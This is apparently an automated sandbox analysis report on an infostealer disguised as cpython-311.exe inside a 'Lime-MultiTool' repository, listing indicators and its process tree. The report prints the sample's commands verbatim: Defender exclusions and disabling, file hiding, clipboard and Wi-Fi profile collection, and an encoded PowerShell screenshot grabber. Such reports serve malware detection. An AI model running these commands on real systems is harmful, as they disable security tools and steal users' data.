Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 18:49
Behavioral task
behavioral1
Sample
Lime-MultiTool-main/src/main.py
Resource
win10v2004-20241007-en
Behavioral task
behavioral2
Sample
Lime-MultiTool-main/src/utils/__pycache__/cpython-311.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Lime-MultiTool-main/start.bat
Resource
win10v2004-20241007-en
General
-
Target
Lime-MultiTool-main/src/utils/__pycache__/cpython-311.exe
-
Size
7.4MB
-
MD5
1a2ff293768d10b8c99d3cd2950164b9
-
SHA1
e9123a3d2a53b5f8d008db9608037dd0571f3cae
-
SHA256
3c09a37412bf3981e5d678b6598c2cdad32fcd6761fc649a50693ba45746e242
-
SHA512
ff8a853675431bc36d88288546d7f467f239ae2e4e7ef019476ac4ca06f715e88f201753d7201dbfacb3b6dca51be764036372de8a8c0def29e00ae5e9469941
-
SSDEEP
98304:FWeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTfHfyk6LK4dSI23o7yc:FPYmOshoKMuIkhVastRL5Di3tO/ys42O
Malware Config
Signatures
-
pid Process 2616 powershell.exe 3744 powershell.exe 1428 powershell.exe 4996 powershell.exe 2268 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 1668 cmd.exe 2064 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1420 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe 4412 cpython-311.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 discord.com 23 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 3176 tasklist.exe 2060 tasklist.exe 3328 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 2608 cmd.exe -
resource yara_rule behavioral2/files/0x0008000000023bfe-21.dat upx behavioral2/memory/4412-25-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp upx behavioral2/files/0x0009000000023bbf-27.dat upx behavioral2/files/0x0008000000023bfc-31.dat upx behavioral2/memory/4412-33-0x00007FFA9A000000-0x00007FFA9A00F000-memory.dmp upx behavioral2/memory/4412-30-0x00007FFA91300000-0x00007FFA91323000-memory.dmp upx behavioral2/files/0x000e000000023bc5-38.dat upx behavioral2/memory/4412-40-0x00007FFA90DD0000-0x00007FFA90DFD000-memory.dmp upx behavioral2/files/0x0008000000023bba-41.dat upx behavioral2/memory/4412-44-0x00007FFA969A0000-0x00007FFA969B9000-memory.dmp upx behavioral2/files/0x0008000000023bcb-43.dat upx behavioral2/memory/4412-47-0x00007FFA90CE0000-0x00007FFA90D03000-memory.dmp upx behavioral2/files/0x0008000000023c01-46.dat upx behavioral2/memory/4412-49-0x00007FFA81210000-0x00007FFA81387000-memory.dmp upx behavioral2/files/0x0008000000023bca-50.dat upx behavioral2/files/0x0008000000023c00-54.dat upx behavioral2/memory/4412-56-0x00007FFA986B0000-0x00007FFA986BD000-memory.dmp upx behavioral2/files/0x0008000000023bcc-57.dat upx behavioral2/files/0x0008000000023bfd-60.dat upx behavioral2/memory/4412-63-0x00007FFA81140000-0x00007FFA8120D000-memory.dmp upx behavioral2/files/0x0008000000023bcd-65.dat upx behavioral2/memory/4412-67-0x00007FFA80C20000-0x00007FFA81140000-memory.dmp upx behavioral2/files/0x0009000000023bc1-70.dat upx behavioral2/files/0x0008000000023bc7-73.dat upx behavioral2/files/0x0008000000023c06-77.dat upx behavioral2/memory/4412-79-0x00007FFA90CE0000-0x00007FFA90D03000-memory.dmp upx behavioral2/memory/4412-80-0x00007FFA80B00000-0x00007FFA80C1C000-memory.dmp upx behavioral2/memory/4412-74-0x00007FFA952E0000-0x00007FFA952ED000-memory.dmp upx behavioral2/memory/4412-72-0x00007FFA900E0000-0x00007FFA900F4000-memory.dmp upx behavioral2/memory/4412-66-0x00007FFA91300000-0x00007FFA91323000-memory.dmp upx behavioral2/memory/4412-62-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp upx behavioral2/memory/4412-59-0x00007FFA90C80000-0x00007FFA90CB3000-memory.dmp upx behavioral2/memory/4412-53-0x00007FFA90CC0000-0x00007FFA90CD9000-memory.dmp upx behavioral2/memory/4412-109-0x00007FFA81210000-0x00007FFA81387000-memory.dmp upx behavioral2/memory/4412-178-0x00007FFA90CC0000-0x00007FFA90CD9000-memory.dmp upx behavioral2/memory/4412-267-0x00007FFA90C80000-0x00007FFA90CB3000-memory.dmp upx behavioral2/memory/4412-278-0x00007FFA81140000-0x00007FFA8120D000-memory.dmp upx behavioral2/memory/4412-289-0x00007FFA80C20000-0x00007FFA81140000-memory.dmp upx behavioral2/memory/4412-311-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp upx behavioral2/memory/4412-317-0x00007FFA81210000-0x00007FFA81387000-memory.dmp upx behavioral2/memory/4412-312-0x00007FFA91300000-0x00007FFA91323000-memory.dmp upx behavioral2/memory/4412-332-0x00007FFA81210000-0x00007FFA81387000-memory.dmp upx behavioral2/memory/4412-340-0x00007FFA80B00000-0x00007FFA80C1C000-memory.dmp upx behavioral2/memory/4412-346-0x00007FFA90CE0000-0x00007FFA90D03000-memory.dmp upx behavioral2/memory/4412-345-0x00007FFA969A0000-0x00007FFA969B9000-memory.dmp upx behavioral2/memory/4412-344-0x00007FFA90DD0000-0x00007FFA90DFD000-memory.dmp upx behavioral2/memory/4412-343-0x00007FFA9A000000-0x00007FFA9A00F000-memory.dmp upx behavioral2/memory/4412-342-0x00007FFA91300000-0x00007FFA91323000-memory.dmp upx behavioral2/memory/4412-341-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp upx behavioral2/memory/4412-339-0x00007FFA952E0000-0x00007FFA952ED000-memory.dmp upx behavioral2/memory/4412-338-0x00007FFA900E0000-0x00007FFA900F4000-memory.dmp upx behavioral2/memory/4412-337-0x00007FFA80C20000-0x00007FFA81140000-memory.dmp upx behavioral2/memory/4412-336-0x00007FFA81140000-0x00007FFA8120D000-memory.dmp upx behavioral2/memory/4412-335-0x00007FFA90C80000-0x00007FFA90CB3000-memory.dmp upx behavioral2/memory/4412-334-0x00007FFA986B0000-0x00007FFA986BD000-memory.dmp upx behavioral2/memory/4412-333-0x00007FFA90CC0000-0x00007FFA90CD9000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1324 cmd.exe 1448 PING.EXE -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2828 netsh.exe 4352 cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1524 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2152 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1448 PING.EXE -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 4996 powershell.exe 2268 powershell.exe 2616 powershell.exe 2616 powershell.exe 4996 powershell.exe 4996 powershell.exe 2268 powershell.exe 2268 powershell.exe 2064 powershell.exe 2064 powershell.exe 2524 powershell.exe 2524 powershell.exe 2064 powershell.exe 2524 powershell.exe 3744 powershell.exe 3744 powershell.exe 1356 powershell.exe 1356 powershell.exe 1428 powershell.exe 1428 powershell.exe 2064 powershell.exe 2064 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4996 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 3328 tasklist.exe Token: SeDebugPrivilege 3176 tasklist.exe Token: SeIncreaseQuotaPrivilege 4656 WMIC.exe Token: SeSecurityPrivilege 4656 WMIC.exe Token: SeTakeOwnershipPrivilege 4656 WMIC.exe Token: SeLoadDriverPrivilege 4656 WMIC.exe Token: SeSystemProfilePrivilege 4656 WMIC.exe Token: SeSystemtimePrivilege 4656 WMIC.exe Token: SeProfSingleProcessPrivilege 4656 WMIC.exe Token: SeIncBasePriorityPrivilege 4656 WMIC.exe Token: SeCreatePagefilePrivilege 4656 WMIC.exe Token: SeBackupPrivilege 4656 WMIC.exe Token: SeRestorePrivilege 4656 WMIC.exe Token: SeShutdownPrivilege 4656 WMIC.exe Token: SeDebugPrivilege 4656 WMIC.exe Token: SeSystemEnvironmentPrivilege 4656 WMIC.exe Token: SeRemoteShutdownPrivilege 4656 WMIC.exe Token: SeUndockPrivilege 4656 WMIC.exe Token: SeManageVolumePrivilege 4656 WMIC.exe Token: 33 4656 WMIC.exe Token: 34 4656 WMIC.exe Token: 35 4656 WMIC.exe Token: 36 4656 WMIC.exe Token: SeDebugPrivilege 2064 powershell.exe Token: SeDebugPrivilege 2060 tasklist.exe Token: SeIncreaseQuotaPrivilege 4656 WMIC.exe Token: SeSecurityPrivilege 4656 WMIC.exe Token: SeTakeOwnershipPrivilege 4656 WMIC.exe Token: SeLoadDriverPrivilege 4656 WMIC.exe Token: SeSystemProfilePrivilege 4656 WMIC.exe Token: SeSystemtimePrivilege 4656 WMIC.exe Token: SeProfSingleProcessPrivilege 4656 WMIC.exe Token: SeIncBasePriorityPrivilege 4656 WMIC.exe Token: SeCreatePagefilePrivilege 4656 WMIC.exe Token: SeBackupPrivilege 4656 WMIC.exe Token: SeRestorePrivilege 4656 WMIC.exe Token: SeShutdownPrivilege 4656 WMIC.exe Token: SeDebugPrivilege 4656 WMIC.exe Token: SeSystemEnvironmentPrivilege 4656 WMIC.exe Token: SeRemoteShutdownPrivilege 4656 WMIC.exe Token: SeUndockPrivilege 4656 WMIC.exe Token: SeManageVolumePrivilege 4656 WMIC.exe Token: 33 4656 WMIC.exe Token: 34 4656 WMIC.exe Token: 35 4656 WMIC.exe Token: 36 4656 WMIC.exe Token: SeDebugPrivilege 2524 powershell.exe Token: SeDebugPrivilege 3744 powershell.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeIncreaseQuotaPrivilege 372 WMIC.exe Token: SeSecurityPrivilege 372 WMIC.exe Token: SeTakeOwnershipPrivilege 372 WMIC.exe Token: SeLoadDriverPrivilege 372 WMIC.exe Token: SeSystemProfilePrivilege 372 WMIC.exe Token: SeSystemtimePrivilege 372 WMIC.exe Token: SeProfSingleProcessPrivilege 372 WMIC.exe Token: SeIncBasePriorityPrivilege 372 WMIC.exe Token: SeCreatePagefilePrivilege 372 WMIC.exe Token: SeBackupPrivilege 372 WMIC.exe Token: SeRestorePrivilege 372 WMIC.exe Token: SeShutdownPrivilege 372 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 348 wrote to memory of 4412 348 cpython-311.exe 83 PID 348 wrote to memory of 4412 348 cpython-311.exe 83 PID 4412 wrote to memory of 2244 4412 cpython-311.exe 87 PID 4412 wrote to memory of 2244 4412 cpython-311.exe 87 PID 4412 wrote to memory of 1732 4412 cpython-311.exe 88 PID 4412 wrote to memory of 1732 4412 cpython-311.exe 88 PID 4412 wrote to memory of 2608 4412 cpython-311.exe 90 PID 4412 wrote to memory of 2608 4412 cpython-311.exe 90 PID 4412 wrote to memory of 2928 4412 cpython-311.exe 93 PID 4412 wrote to memory of 2928 4412 cpython-311.exe 93 PID 2928 wrote to memory of 2268 2928 cmd.exe 95 PID 2928 wrote to memory of 2268 2928 cmd.exe 95 PID 2244 wrote to memory of 4996 2244 cmd.exe 96 PID 2244 wrote to memory of 4996 2244 cmd.exe 96 PID 2608 wrote to memory of 4924 2608 cmd.exe 97 PID 2608 wrote to memory of 4924 2608 cmd.exe 97 PID 1732 wrote to memory of 2616 1732 cmd.exe 98 PID 1732 wrote to memory of 2616 1732 cmd.exe 98 PID 4412 wrote to memory of 4676 4412 cpython-311.exe 100 PID 4412 wrote to memory of 4676 4412 cpython-311.exe 100 PID 4412 wrote to memory of 4048 4412 cpython-311.exe 99 PID 4412 wrote to memory of 4048 4412 cpython-311.exe 99 PID 4048 wrote to memory of 3176 4048 cmd.exe 103 PID 4048 wrote to memory of 3176 4048 cmd.exe 103 PID 4676 wrote to memory of 3328 4676 cmd.exe 104 PID 4676 wrote to memory of 3328 4676 cmd.exe 104 PID 4412 wrote to memory of 1928 4412 cpython-311.exe 105 PID 4412 wrote to memory of 1928 4412 cpython-311.exe 105 PID 4412 wrote to memory of 1668 4412 cpython-311.exe 108 PID 4412 wrote to memory of 1668 4412 cpython-311.exe 108 PID 4412 wrote to memory of 2336 4412 cpython-311.exe 110 PID 4412 wrote to memory of 2336 4412 cpython-311.exe 110 PID 4412 wrote to memory of 4352 4412 cpython-311.exe 113 PID 4412 wrote to memory of 4352 4412 cpython-311.exe 113 PID 4412 wrote to memory of 2912 4412 cpython-311.exe 111 PID 4412 wrote to memory of 2912 4412 cpython-311.exe 111 PID 4412 wrote to memory of 1876 4412 cpython-311.exe 114 PID 4412 wrote to memory of 1876 4412 cpython-311.exe 114 PID 4412 wrote to memory of 768 4412 cpython-311.exe 118 PID 4412 wrote to memory of 768 4412 cpython-311.exe 118 PID 1668 wrote to memory of 2064 1668 cmd.exe 120 PID 1668 wrote to memory of 2064 1668 cmd.exe 120 PID 1928 wrote to memory of 4656 1928 cmd.exe 121 PID 1928 wrote to memory of 4656 1928 cmd.exe 121 PID 2912 wrote to memory of 3208 2912 cmd.exe 122 PID 2912 wrote to memory of 3208 2912 cmd.exe 122 PID 4352 wrote to memory of 2828 4352 cmd.exe 123 PID 4352 wrote to memory of 2828 4352 cmd.exe 123 PID 2336 wrote to memory of 2060 2336 cmd.exe 124 PID 2336 wrote to memory of 2060 2336 cmd.exe 124 PID 1876 wrote to memory of 2152 1876 cmd.exe 125 PID 1876 wrote to memory of 2152 1876 cmd.exe 125 PID 4412 wrote to memory of 1812 4412 cpython-311.exe 126 PID 4412 wrote to memory of 1812 4412 cpython-311.exe 126 PID 768 wrote to memory of 2524 768 cmd.exe 127 PID 768 wrote to memory of 2524 768 cmd.exe 127 PID 1812 wrote to memory of 532 1812 cmd.exe 129 PID 1812 wrote to memory of 532 1812 cmd.exe 129 PID 4412 wrote to memory of 1068 4412 cpython-311.exe 130 PID 4412 wrote to memory of 1068 4412 cpython-311.exe 130 PID 1068 wrote to memory of 4464 1068 cmd.exe 132 PID 1068 wrote to memory of 4464 1068 cmd.exe 132 PID 4412 wrote to memory of 2256 4412 cpython-311.exe 133 PID 4412 wrote to memory of 2256 4412 cpython-311.exe 133 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4924 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:348 -
C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"4⤵
- Views/modifies file attributes
PID:4924
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3176
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3328
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4656
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2060
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:3208
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2828
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:2152
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:768 -
